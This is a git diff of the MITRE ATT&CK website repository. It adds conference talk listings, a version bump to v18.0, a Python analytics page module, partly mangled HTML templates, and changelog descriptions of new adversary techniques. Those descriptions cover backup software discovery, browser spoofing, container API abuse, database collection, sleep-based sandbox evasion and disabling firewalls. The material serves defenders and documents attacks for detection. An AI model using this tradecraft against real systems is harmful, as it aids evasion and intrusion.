+ "The role of a threat taxonomy in the design of a commercial solution",
+ "How commercial providers keep up with a changing threat landscape",
+ "Stories around the most intriguing threat scenarios or methods seen",
+ "Requirements from commercial clients regarding threat frameworks"
+ ],
+ "video": "https://www.youtube.com/watch?v=hQIYdCocjbw&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=8&t=0s"
+ },
+ {
+ "title": "VCAF: Expanding the ATT&CK Framework to cover VERIS Threat Action Varieties",
+ "presenters": [
+ {
+ "names": [
+ "Alex Pinto"
+ ],
+ "organization": "Verizon"
+ }
+ ],
+ "description": "The Vocabulary for Event Recording and Incident Sharing (VERIS) is a set of metrics designed to provide a common language for describing security incidents in a structured and repeatable manner. VERIS has been the base analysis framework for supporting the Verizon Data Breach Investigations Report (DBIR) since its inception. However, as organizations work to interpret the richness of information present on the DBIR to a more tactical level, the Threat Action Varieties available on VERIS fail to capture the detail present on the incidents recorded. This talk presents the Verizon Common Attack Framework (VCAF), an effort from the Security Data Science team and the DBIR team in Verizon to expand and map the ATT&CK framework in alignment with the DBIR Threat Action Varieties to provide this much-sought level of granularity in recording and analyzing recorded breaches. Additionally, this talk describes possible outcomes when this data is available and organized as such. Examples include applying DBIR-inspired attack vector analytics upon ATT&CK layer information, effectively identifying optimal control choke points on the attack graphs according to specific industries covered by the DBIR.",
+ "video": "https://www.youtube.com/watch?v=-NtYYqUGEco&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=9&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-vcaf-expanding-the-attck-framework-to-cover-veris-threat-action-varieties-alex-pinto-verizon"
+ },
+ {
+ "title": "Playing Devil’s Advocate to Security Initiatives with ATT&CK",
+ "presenters": [
+ {
+ "names": [
+ "David Middlehurst"
+ ],
+ "organization": "Trustwave"
+ }
+ ],
+ "description": "This talk presents a case study which demonstrates that we should consider the knowledge and wisdom contained within ATT&CK in all organizational security initiatives to make sure by fixing one thing we have not just created an opportunity. The presentation shows how to leverage the analysis and classification of APT tactics and procedures (TTP) to guide research into new and novel techniques, specifically focusing on exfiltration and command and control. DNS over HTTPS (DoH) aims to increase user privacy and security by preventing eavesdropping and manipulation of DNS data by man-in-the-middle attacks. Major web browsers such as Firefox are considering its implementation by default. But what could this possibly mean for exfiltration and command and control? This session provides an end-to-end demo that shows DoH being implemented to provide full command and control in a popular attack simulation framework and discusses associated mitigations.",
+ "video": "https://www.youtube.com/watch?v=4sNaScEg32s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=10&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-playing-devils-advocate-to-security-initiatives-with-attck-david-middlehurst-trustwave"
+ },
+ {
+ "title": "From Red VS Blue to Red Loves Blue",
+ "presenters": [
+ {
+ "names": [
+ "Olaf Hartong",
+ "Vincent Van Mieghem"
+ ],
+ "organization": "Deloitte"
+ }
+ ],
+ "description": "This session discusses Deloitte’s purple teaming approach which is using ATT&CK as a guiding principle to help both teams improve. This session shows how this works in a customer scenario, how to scope that scenario, how to plan the scenario and choose the various TTPs to be covered to how we assist the customers blue team in understanding the TTPs and helping them design detective capabilities for them. When the Blue Team is able to connect the dots from offensive activities in the network and what they see in their logs, rewalls, SIEMs, etc. they have the ability to fully understand what adversaries do and what the TTP’s of attackers actually look like if they are active in their network. It’s much easier to find the needle in the haystack if you know there is a needle to find to begin with. Purple teaming is providing this pointy needle, used to accelerate the Blue Team.",
+ "video": "https://www.youtube.com/watch?v=7OK3fOZ7NXM&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=11&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-from-red-vs-blue-to-red-blue-olaf-hartong-and-vincent-van-mieghem-deloitte"
+ },
+ {
+ "title": "Helping Your Non-Security Executives Understand ATT&CK in 10 Minutes or Less",
+ "presenters": [
+ {
+ "names": [
+ "Elly Searle"
+ ],
+ "organization": "CrowdStrike"
+ }
+ ],
+ "description": "ATT&CK is an incredibly valuable framework for describing and analyzing what’s happening in your environment. Sometimes security professionals not only need a way to understand, but also need a way to clearly articulate to non-security leadership to gain support and investment in needed resourcing. Using UX design methods, CrowdStrike came up with a mental model and more conversational terms to help anyone quickly parse the big picture.",
+ "video": "https://www.youtube.com/watch?v=eZsMHSE2PDc&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=12&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-helping-your-nonsecurity-executives-understand-attck-in-10-minutes-or-less-elly-searle-crowdstrike"
+ },
+ {
+ "title": "ATT&CK as a Teacher",
+ "presenters": [
+ {
+ "names": [
+ "Travis Smith"
+ ],
+ "organization": "Tripwire"
+ }
+ ],
+ "description": "ATT&CK is valuable for those of us who are heads down in security day in and day out. But what about using ATT&CK to each college interns about security? This presentation details how Tripwire used ATT&CK to build- out a new training regimen for summer interns. By going through and finding quick wins, Tripwire’s interns were actively engaged in learning about security. The detailed break downs of ATT&CK were greatly beneficial in helping teach security concepts to those who were not yet familiar with them. This session shows the program details and how you might be able to adapt it to your requirements.",
+ "video": "https://www.youtube.com/watch?v=4s3pZirFCPk&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=13&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-attck-as-a-teacher-travis-smith-tripwire"
+ },
+ {
+ "title": "Detection Philosophy, Evolution & ATT&CK",
+ "presenters": [
+ {
+ "names": [
+ "Fred Stankowski",
+ "Travis McWaters"
+ ],
+ "organization": "Pepsico"
+ }
+ ],
+ "description": "This lightning talk is a brief discussion around how PepsiCo is managing their ‘detection catalog’ and how it maps and is enhanced by the MITRE ATT&CK framework.",
+ "video": "https://www.youtube.com/watch?v=bFFi3Vqrp2o&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=14&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-detection-philosophy-evolution-attck-fred-stankowski-travis-mcwaters"
+ },
+ {
+ "title": "Decision Analysis Applications in Threat Analysis Frameworks",
+ "presenters": [
+ {
+ "names": [
+ "Emily Shawgo"
+ ],
+ "organization": "PNC"
+ }
+ ],
+ "description": "In the modern age, all organizations face threats from various types of cyber attacks. Although great strides have been made to consider human factors in cybersecurity and to become more proactive in threat analysis, security is still generally a reactive, technical field. The research presented in this talk seeks to develop a framework which adapts the existing MITRE ATT&CK framework to look at attacks in a less linear, more human-centered framework that focuses on the capabilities and decisions of the threat actor. The framework approaches threat analysis from a binary assessment of success vs. failure in order to see the entire attack and consider the potential for a number of methods and attempts made in a single attack. A detailed methodology and sample charts are included for a reference and a starting point in developing one’s own personalized charts, and recommendations are made for ways to integrate this methodology into the risk management process.",
+ "video": "https://www.youtube.com/watch?v=3JMVP6rkY8Y&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=15&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-decision-analysis-applications-in-threat-analysis-frameworks-emily-shawgo-pnc"
+ },
+ {
+ "title": "Building an Atomic Testing Program",
+ "presenters": [
+ {
+ "names": [
+ "Brian Beyer"
+ ],
+ "organization": "Red Canary"
+ }
+ ],
+ "description": "Red Canary’s applied research team built the Atomic Red Team project based on a simple idea: encourage security teams to test their systems. Leveraging MITRE ATT&CK, the series of small tests can be combined into chains to help teams gain insight into gaps in their security program at all levels. This talk describes how to use Atomic Red Team and how MITRE ATT&CK is leveraged to write the tests.",
+ "video": "https://www.youtube.com/watch?v=MZZzYaNUfjE&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=16&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-building-an-atomic-testing-program-brian-beyer-red-canary"
+ },
+ {
+ "title": "5 Ways to Screw Up Your Security Program with ATT&CK",
+ "presenters": [
+ {
+ "names": [
+ "Kyle Rainey"
+ ],
+ "organization": "Red Canary"
+ }
+ ],
+ "description": "Over the past year there has been a significant uptick in adoption of MITRE ATT&CK. Adoption of a common language and taxonomy for adversarial tactics and techniques comes with a few unspoken traps. This talk is to bring awareness to the pitfalls of implementing and adopting any variation of MITRE ATT&CK and how you can avoid falling for them.",
+ "video": "https://www.youtube.com/watch?v=MBVxaE9oaMQ&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=17&t=0s"
+ },
+ {
+ "title": "ATT&CK + OSQuery = Love",
+ "presenters": [
+ {
+ "names": [
+ "Scott Lundgren"
+ ],
+ "organization": "Carbon Black"
+ }
+ ],
+ "description": "MITRE ATT&CK is cool and it's open, with a heavy emphasis on how attackers behave on the endpoint. OSQuery is cool and it's open, with a heavy emphasis on endpoint visibility. This talk focuses on an open-source extension to OSQuery that provides a free, repeatable mechanism to identify and detect ATT&CK techniques.",
+ "video": "https://www.youtube.com/watch?v=scI1AvZUBCo&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=18&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-attck-osquery-love-scott-lundgren-carbon-black"
+ },
+ {
+ "title": "An ATT&CK Review of 200 Hybrid-Analysis Submissions",
+ "presenters": [
+ {
+ "names": [
+ "James Lerud"
+ ],
+ "organization": "Verodin"
+ }
+ ],
+ "description": "How can you consistently categorize Techniques a given piece of malware uses? The answer to this question could be provided by sandbox vendors. CrowdStrike has embraced ATT&CK by including Technique detection in their public Hybrid-Analysis reports. This talk reviews the submission results of 100 malicious and 100 benign executables.",
+ "video": "https://www.youtube.com/watch?v=GDIPEYdTmCE&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=19&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-an-attck-review-of-200-hybridanalysis-submissions-james-lerud-verodin"
+ },
+ {
+ "title": "From Technique to Detection",
+ "presenters": [
+ {
+ "names": [
+ "Paul Ewing",
+ "Ross Wolf"
+ ],
+ "organization": "Endgame"
+ }
+ ],
+ "description": "This session is a practical guide for a rapid prototyping of ATT&CK-based analytics – from technique to detection.",
+ "video": "https://www.youtube.com/watch?v=a3hIIzJrH14&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=20&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-from-technique-to-detection-paul-ewing-and-ross-wolf-endgame"
+ },
+ {
+ "title": "Hunters ATT&CKing with the Data",
+ "presenters": [
+ {
+ "names": [
+ "Roberto Rodriguez"
+ ],
+ "organization": "SpecterOps"
+ },
+ {
+ "names": [
+ "Jose Luis Rodriguez"
+ ],
+ "organization": "Student"
+ }
+ ],
+ "description": "With the development of the MITRE ATT&CK framework and its categorization of adversary activity during the attack cycle, understanding what to hunt for has become easier and more efficient than ever. However, organizations are still struggling to understand how they can prioritize the development of hunt hypothesis, assess their current security posture, and develop the right analytics with the help of ATT&CK. Even though there are several ways to utilize ATT&CK to accomplish those goals, there are only a few that are focusing primarily on the data that is currently being collected to drive the success of a hunt program. This presentation shows how organizations can benefit from mapping their current visibility from a data perspective to the ATT&CK framework. It focuses on how to identify, document, standardize and model current available data to enhance a hunt program. It presents an updated ThreatHunter-Playbook, a Kibana ATT&CK dashboard, a new project named Open Source Security Events Metadata known as OSSEM and expands on the “data sources” section already provided by ATT&CK on most of the documented adversarial techniques.",
+ "video": "https://www.youtube.com/watch?v=QCDBjFJ_C3g&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=21&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-hunters-attcking-with-the-data-robert-rodriguez-specterops-and-jose-luis-rodriguez-student"
+ },
+ {
+ "title": "Analyzing Targeted Intrusions Through the Lens of the ATT&CK Framework",
+ "presenters": [
+ {
+ "names": [
+ "Karl Scheuerman"
+ ],
+ "organization": "CrowdStrike"
+ }
+ ],
+ "description": "The security community is quickly adopting the MITRE ATT&CK matrix as a framework for understanding and analyzing targeted intrusions. However, one of its potential limitations is a lack of detailed historical intrusion data for developing accurate and thorough ATT&CK-based threat modeling. Crowdstrike’s Falcon OverWatch threat hunting team analyzes adversary behavior on a regular basis. The amount of OverWatch's malicious intrusion data is significant given the valuable telemetry delivered by Falcon's endpoint technology. As a result, CrowdStrike has amassed a rich data library of malicious activity that can be applied to the ATT&CK model. The OverWatch Strategic Counter-Adversary Research (SCAR) team has now evaluated all OverWatch intrusion data since January 1, 2018 through the lens of the ATT&CK framework. This presentation presents these findings and highlights cases of unique adversary TTP use. The results of this analysis will provide a baseline from which CrowdStrike can better identify changes in threat actor TTP trends moving forward. In addition, the presentation discusses limitations in this type of research.",
+ "video": "https://www.youtube.com/watch?v=Rg64nPqqs8s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=22&t=0s"
+ },
+ {
+ "title": "End User Panel Disussion",
+ "moderator": {
+ "name": "Katie Nickels",
+ "organization": "MITRE"
+ },
+ "panelists": [
+ "Jon Bagg, Booz Allen Hamilton",
+ "Daniel Bernholz, JPMorgan Chase",
+ "Dave Westgard, Target Corporation"
+ ],
+ "topics": [
+ "What are the best practices and lessons learned for organizations who are just getting started with ATT&CK?",
+ "What has been the most difficult part of implementing ATT&CK? What changes could be made to ATT&CK to make it easier for others in the future?",
+ "Where would you like to see ATT&CK go in the future that would help make it more useful for your team?",
+ "What else haven’t we talked about that you think is important for someone who wants to use ATT&CK to know?"
+ ],
+ "video": "https://www.youtube.com/watch?v=wJoMKYfM7OQ&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=23&t=0s"
+ },
+ {
+ "title": "Sofacy 2018 and the Adversary Playbook",
+ "presenters": [
+ {
+ "names": [
+ "Robert Falcone"
+ ],
+ "organization": "Palo Alto Networks"
+ }
+ ],
+ "description": "Unit 42 researches threat activity and publishes detailed reports on attack campaigns launched by these adversaries. One of these adversaries, known as Sofacy, has been carrying out attack campaigns on high profile targets for many years and has continued into 2018. To understand how to defend against these threats, an analyst has to read our reports, process them and mentally map them to their defenses. In most cases we expect readers just \"block\" all of the indicators we include in the report and assume they are covered. Last year we started using ATT&CK to codify the techniques we observed, linking those techniques to indicator patterns and encoding them into STIX 2 objects, with the goal of creating something that a defender can use to answer the question: \"How am I defending against this adversary?\" We call these documents, \"Adversary Playbooks\" as they contain our best approximation of how the adversary launches their attacks. This talk describes the concept of Adversary Playbooks, as well as provides an overview of the attack campaigns Unit 42 has attributed to the Sofacy group in 2018. It uses the discussed attacks to show how these playbooks are constructed and explain some of the challenges of incorporating ATT&CK and STIX 2 together for this purpose.",
+ "video": "https://www.youtube.com/watch?v=4CBES3xv3Zg&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=24&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-sofacy-2018-and-the-adversary-playbook-robert-falcone-palo-alto-networks"
+ },
+ {
+ "title": "From Automation to Analytics: Simulating the Adversary to Create Better Detections",
+ "presenters": [
+ {
+ "names": [
+ "David Herrald",
+ "Ryan Kovar"
+ ],
+ "organization": "Splunk"
+ }
+ ],
+ "description": "Security teams have more detection tools at their disposal than ever before, yet most are still struggling to find even the most basic malicious activity occurring in their environments. Building effective detection analytics requires realistic data and the ability to iterate quickly in a rapid analytic development cycle. This talk introduces a full lifecycle attack simulation and analytics development environment featuring the MITRE ATT&CK framework and the Atomic Red Team project using Splunk and Splunk Phantom mapped to an imaginary APT group, Taedonggang. It focuses on how security teams can use such a system to rapidly develop and share new detection analytics. Links to all components referenced in the talk are provided, including a cloud-based dataset that can act as a playground for users who want to see the results of the activity.",
+ "video": "https://www.youtube.com/watch?v=ZRixr6QshEs&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=25&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-from-automation-to-analytics-simulating-the-adversary-to-create-better-detections-david-herrald-and-ryan-kovar-splunk"
+ },
+ {
+ "title": "The Use of Game Theory with MITRE ATT&CK",
+ "presenters": [
+ {
+ "names": [
+ "Matt Summers",
+ "Nick Dunn"
+ ],
+ "organization": "NCC Group"
+ }
+ ],
+ "description": "This presentation shows how the use of game theory with the ATT&CK framework can produce better attack and defense strategies.",
+ "video": "https://www.youtube.com/watch?v=UcZBAY18UXo&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=26&t=0s",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-the-use-of-game-theory-with-mitre-attck-matt-summers-and-nick-dunn-ncc-group"
+ }
]
-}]
+ }
+]
diff --git a/data/versions.json b/data/versions.json
index 2102d673dad..f4bbf861ab8 100644
--- a/data/versions.json
+++ b/data/versions.json
@@ -1,11 +1,19 @@
{
"current": {
- "name": "v17.1",
- "date_start": "April 22, 2025",
- "changelog": "updates-april-2025",
- "cti_url": "https://github.com/mitre/cti/releases/tag/ATT%26CK-v17.1"
+ "name": "v18.0",
+ "date_start": "October 28, 2025",
+ "changelog": "updates-october-2025",
+ "cti_url": "https://github.com/mitre/cti/releases/tag/ATT%26CK-v18.0"
},
"previous": [
+ {
+ "name": "v17.1",
+ "date_start": "April 22, 2025",
+ "date_end": "October 27, 2025",
+ "changelog": "updates-april-2025",
+ "cti_url": "https://github.com/mitre/cti/releases/tag/ATT%26CK-v17.1",
+ "commit": "d93e32a77e2e5935563d723b538fd8241ca99d8a"
+ },
{
"name": "v16.1",
"date_start": "October 31, 2024",
diff --git a/docs/RELEASE.md b/docs/RELEASE.md
index ea643d74a16..a4ce9e36fac 100644
--- a/docs/RELEASE.md
+++ b/docs/RELEASE.md
@@ -124,10 +124,9 @@ Consult these sections as needed for step 5 in the above list.
* `cti_url`: should be tag URL for the release on the mitre/cti repo
* `commit`: should be sha256 hash of latest commit from mitre-attack/attack-website on the `gh-pages` branch prior to new content release
-
* Run the `archive-website.py` script to get the previously released archives of the ATT&CK website
* Upload the `tar.gz` of the latest previous version of the website to the [Archived Website Files](https://github.com/mitre-attack/attack-website/releases/tag/archived-website-files) release
- * Optional - If sufficient changes were made to the archive process the re-upload all `tar.gz` files
+ * Optional - If sufficient changes were made to the archive process then re-upload all `tar.gz` files
* Update notes
* Add new file: `modules/resources/static_pages/updates-
+ Analytics contain platform-specific detection logic and represent the
+ implementation details of a detection strategy.
+
Check the layer specification version [here](https://github.com/mitre-attack/attack-navigator/blob/master/layers/spec/) and the navigator version [here](https://github.com/mitre-attack/attack-navigator/blob/master/CHANGELOG.md).
@@ -157,5 +157,6 @@ Check the layer specification version [here](https://github.com/mitre-attack/att
* Release ATT&CK content version X.Y.
See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-vX.Y).
```
+
* Update the `layer_version` and `navigator_version` in `modules/site_config.py` if navigator version or navigator layer version has been updated.
Check the layer specification version [here](https://github.com/mitre-attack/attack-navigator/blob/master/layers/spec/) and the navigator version [here](https://github.com/mitre-attack/attack-navigator/blob/master/CHANGELOG.md).
diff --git a/modules/analytics/__init__.py b/modules/analytics/__init__.py
new file mode 100644
index 00000000000..90c8b9cc820
--- /dev/null
+++ b/modules/analytics/__init__.py
@@ -0,0 +1,9 @@
+from . import analytics, analytics_config
+
+
+def get_priority():
+ return analytics_config.priority
+
+
+def run_module():
+ return analytics.generate_analytic_overview(), analytics_config.module_name
diff --git a/modules/analytics/analytics.py b/modules/analytics/analytics.py
new file mode 100644
index 00000000000..3f6a86d2fcb
--- /dev/null
+++ b/modules/analytics/analytics.py
@@ -0,0 +1,93 @@
+import json
+import os
+
+from modules import util
+from loguru import logger
+
+from . import analytics_config
+
+
+def generate_analytic_overview():
+ """Verify analytic directory and generate analytic index markdown."""
+ # Create content pages directory if does not already exist
+ util.buildhelpers.create_content_pages_dir()
+
+ # Move templates to templates directory
+ util.buildhelpers.move_templates(analytics_config.module_name, analytics_config.analytics_templates_path)
+
+ # Verify if directory exists
+ if not os.path.isdir(analytics_config.analytic_markdown_path):
+ os.mkdir(analytics_config.analytic_markdown_path)
+
+ # Generate markdown files used for page generation
+ analytic_generated = generate_markdown_file()
+ if not analytic_generated:
+ util.buildhelpers.remove_module_from_menu(analytics_config.module_name)
+
+
+def generate_markdown_file():
+ """Generate table data for all analytics."""
+ has_analytics = False
+
+ analytics = util.relationshipgetters.get_analytic_list()
+ active_analytics = util.buildhelpers.filter_deprecated_revoked(analytics)
+
+ if active_analytics:
+ has_analytics = True
+ else:
+ logger.debug("No analytics found")
+
+ if has_analytics:
+ # Generate sidebar data
+ data = {
+ "sidebar_data": util.buildhelpers.get_side_menu_data("Analytics", "/analytics/", []),
+ "total_count": str(len(active_analytics)),
+ "analytics_table": get_analytic_table(active_analytics),
+ }
+ subs = analytics_config.analytic_index_md + json.dumps(data)
+ with open(os.path.join(analytics_config.analytic_markdown_path, "overview.md"), "w", encoding="utf8") as md_file:
+ md_file.write(subs)
+
+ return has_analytics
+
+
+def get_analytic_table(analytics):
+ """Generate analytic table for overview page."""
+ analytic_table = []
+
+ for analytic in analytics:
+ attack_id = util.buildhelpers.get_attack_id(analytic)
+ if not attack_id:
+ continue
+
+ domains = analytic.get("x_mitre_domains", [])
+ domain_names = [util.buildhelpers.get_domain_display_name(domain) for domain in domains]
+ row = {
+ "id": attack_id,
+ "name": analytic.get("name"),
+ "platforms": analytic.get("x_mitre_platforms", []),
+ "domains": domain_names,
+ "description": analytic.get("description", ""),
+ "deprecated": analytic.get("x_mitre_deprecated", False),
+ "detection_strategy": get_related_detection_strategies(analytic["id"]),
+ "url": util.buildhelpers.get_analytic_url(analytic),
+ }
+ analytic_table.append(row)
+
+ # sort by id
+ return sorted(analytic_table, key=lambda k: k["id"])
+
+
+def get_related_detection_strategies(analytic_ref):
+ related_dets = util.stixhelpers.get_related_detection_strategies(analytic_ref)
+ if not related_dets:
+ logger.debug(f"No related detection strategy found for analytic {analytic_ref}")
+
+ det_data = []
+ for det in related_dets:
+ attack_id = util.buildhelpers.get_attack_id(det)
+ det_data.append({
+ "id": attack_id,
+ "url": f"/detectionstrategies/{attack_id}"
+ })
+ return det_data
diff --git a/modules/analytics/analytics_config.py b/modules/analytics/analytics_config.py
new file mode 100644
index 00000000000..20c59fc2de3
--- /dev/null
+++ b/modules/analytics/analytics_config.py
@@ -0,0 +1,19 @@
+from string import Template
+
+module_name = "Analytics"
+module_tab_name = "Defenses"
+priority = 5.2
+
+# Markdown path
+analytic_markdown_path = "content/pages/analytics/"
+
+# Path for templates
+analytics_templates_path = "modules/analytics/templates/"
+
+# String template for index/overview page
+analytic_index_md = (
+ "Title: Analytic Overview\n"
+ "Template: analytics/analytics-index\n"
+ "save_as: analytics/index.html\n"
+ "data: "
+)
diff --git a/modules/analytics/templates/analytics-index.html b/modules/analytics/templates/analytics-index.html
new file mode 100644
index 00000000000..2d18e51d4a7
--- /dev/null
+++ b/modules/analytics/templates/analytics-index.html
@@ -0,0 +1,108 @@
+{% extends "general/two-column.html" %}
+{% set title = "Analytics | MITRE ATT&CK®" %}
+{% set parsed = page.data | from_json %}
+{% set active_page = "analytics" -%}
+{% import 'macros/navigation.html' as navigation %}
+{% import 'macros/clean_output.html' as clean_output %}
+
+{% block innerleft %}
+
+Analytics
+ Analytics: {{ parsed.total_count }}
+
+
+
+
+
+
+
+ {% for row in parsed.analytics_table %}
+ ID
+ Platform
+
+
+ Detection Strategy
+ Description
+
+
+ {% endfor %}
+
+
+ {{ row.id | upper }}
+
+ {{ row.platforms|join(", ") }}
+
+ {% for domain in row.domains %}
+ {{ domain }}
+
+ {% endfor %}
+
+ {% set dets = row.detection_strategy %}
+ {% for det in dets %}
+ {{ det.id | upper }}
+
+
+ {% endfor %}
+
+ {% if row.deprecated %}
+ ****Deprecation Warning****
+ {% endif %}
+ {{ clean_output.stixToHTML(row.description) }}
+
+ Assets
Often, these devices have different names or sector specific terms as you look across the industry. To track these differences more accurately, we use the “Related Assets” field which associates these terms based on similar functions, architectural location, and exposure to similar adversary techniques. Each related asset includes a name, optional sector identifier, and a description to provide nuance to the asset page definition.
- Although originally represented under the platform field in ATT&CK, Assets are distinctly separate from platforms. Platforms generally describe the operating system or application (i.e., Microsoft Windows) while Assets represent the device which includes considerations for hardware, software, architecture, and intended function. Assets may leverage platforms to describe a device’s commonly observed operating system. + Although originally represented under the platform field in ATT&CK, Assets are distinctly separate from platforms. Platforms generally describe the operating system or application (i.e., Microsoft Windows) while Assets represent the device which includes considerations for hardware, software, architecture, systems, and intended function. Assets may leverage platforms to describe a device’s commonly observed operating system.
| Name | +Channel | +
|---|---|
| {{ log_source.name }} | +{{ log_source.channel }} | +
+ Data Components identify the specific properties/values relevant to detecting a given ATT&CK technique or sub-technique. +
+| ID | +Name | +
+
+ Domain
+
+
+
+
+
+ |
+ Description | +
|---|---|---|---|
| + {{ row.id | upper }} + | ++ {% if row.deprecated %} + ****Deprecation Warning**** + {% endif %} + {{ row.name }} + | +
+ {% for domain in row.domains %}
+ {{ domain }}
+ + {% endfor %} + |
+ + {{clean_output.stixToHTML(row.description, firstParagraphOnly=True)}} + | +
+ Detection strategies define high-level approaches for detecting specific + adversary techniques. They serve as containers that organize multiple + platform-specific analytics into cohesive detection methodologies. +
+| ID | +Name | +
+
+ Domain
+
+
+
+
+
+ |
+
|---|---|---|
| + {{ row.id | upper }} + | ++ {% if row.deprecated %} + ****Deprecation Warning**** + {% endif %} + {{ row.name }} + | +
+ {% for dom in row.domains %}
+ {{dom}}
+ + {% endfor %} + |
+
| Data Component | +Name | +Channel | +
|---|---|---|
| + + {{ datacomponent.name }} ({{ datacomponent_id }}) + + | + {% endif %} +{{ log_source.name }} | +{{ log_source.channel }} | +
| Field | +Description | +
|---|---|
| {{ elem.field }} | +{{ elem.description }} | +
+
|
+
These ATT&CK Navigator layer files can be uploaded to ATT&CK Navigator manually.
+ +This JSON file contains the machine readble output used to create this page: changelog.json
+Current version: 1.0
Description:
Adversaries may attempt to get a listing of backup software or configurations that are installed on a system. Adversaries may use this information to shape follow-on behaviors, such as Data Destruction, Inhibit System Recovery, or Data Encrypted for Impact.
+Commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for, such as Veeam, Acronis, Dropbox, or Paragon.(Citation: Symantec Play Ransomware 2023)
Current version: 1.0
Description:
Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc. The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent.(Citation: Mozilla User Agent)
+Adversaries may gather this information through System Information Discovery or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.(Citation: Gummy Browsers: Targeted Browser Spoofing against State-of-the-Art Fingerprinting Techniques)
Current version: 1.0
Description:
Adversaries may abuse built-in CLI tools or API calls to execute malicious commands in containerized environments.
+The Docker CLI is used for managing containers via an exposed API point from the dockerd daemon. Some common examples of Docker CLI include Docker Desktop CLI and Docker Compose, but users are also able to use SDKs to interact with the API. For example, Docker SDK for Python can be used to run commands within a Python application.(Citation: Docker Desktop CLI)
Adversaries may leverage the Docker CLI, API, or SDK to pull or build Docker images (i.e., Ingress Tool Transfer, Build Image on Host), run containers (i.e., Deploy Container), or execute commands inside running containers (i.e., Container Administration Command). In some cases, threat actors may pull legitimate images that include scripts or tools that they can leverage - for example, using an image that includes the curl command to download payloads.(Citation: Intezer) Adversaries may also utilize docker inspect and docker ps to scan for cloud environment variables and other running containers (i.e., Container and Resource Discovery).(Citation: Cisco Talos Blog)(Citation: aquasec)
Kubernetes is responsible for the management and orchestration of containers across clusters. The Kubernetes control plane, which manages the state of the cluster and is responsible for scheduling, communication, and resource monitoring, can be invoked directly via the API or indirectly via CLI tools such as kubectl. It may also be accessed within client libraries such as Go or Python. By utilizing the API, administrators can interact with resources within the cluster such as listing or creating pods, which is a group of one or more containers. Adversaries call the API server via curl or other tools, allowing them to obtain further information about the environment such as pods, deployments, daemonsets, namespaces, or sysvars.(Citation: aquasec) They may also run various commands regarding resource management.
Current version: 1.0
Description:
Adversaries may leverage databases to mine valuable information. These databases may be hosted on-premises or in the cloud (both in platform-as-a-service and software-as-a-service environments).
+Examples of databases from which information may be collected include MySQL, PostgreSQL, MongoDB, Amazon Relational Database Service, Azure SQL Database, Google Firebase, and Snowflake. Databases may include a variety of information of interest to adversaries, such as usernames, hashed passwords, personally identifiable information, and financial data. Data collected from databases may be used for Lateral Movement, Command and Control, or Exfiltration. Data exfiltrated from databases may also be used to extort victims or may be sold for profit.(Citation: Google Cloud Threat Intelligence UNC5537 Snowflake 2024)
Current version: 1.0
Description:
Adversaries may employ various time-based methods to evade detection and analysis. These techniques often exploit system clocks, delays, or timing mechanisms to obscure malicious activity, blend in with benign activity, and avoid scrutiny. Adversaries can perform this behavior within virtualization/sandbox environments or natively on host systems.
+Adversaries may utilize programmatic sleep commands or native system scheduling functionality, for example Scheduled Task/Job. Benign commands or other operations may also be used to delay malware execution or ensure prior commands have had time to execute properly. Loops or otherwise needless repetitions of commands, such as ping, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)
Current version: 1.0
Description:
Adversaries may disable network device-based firewall mechanisms entirely or add, delete, or modify particular rules in order to bypass controls limiting network usage.
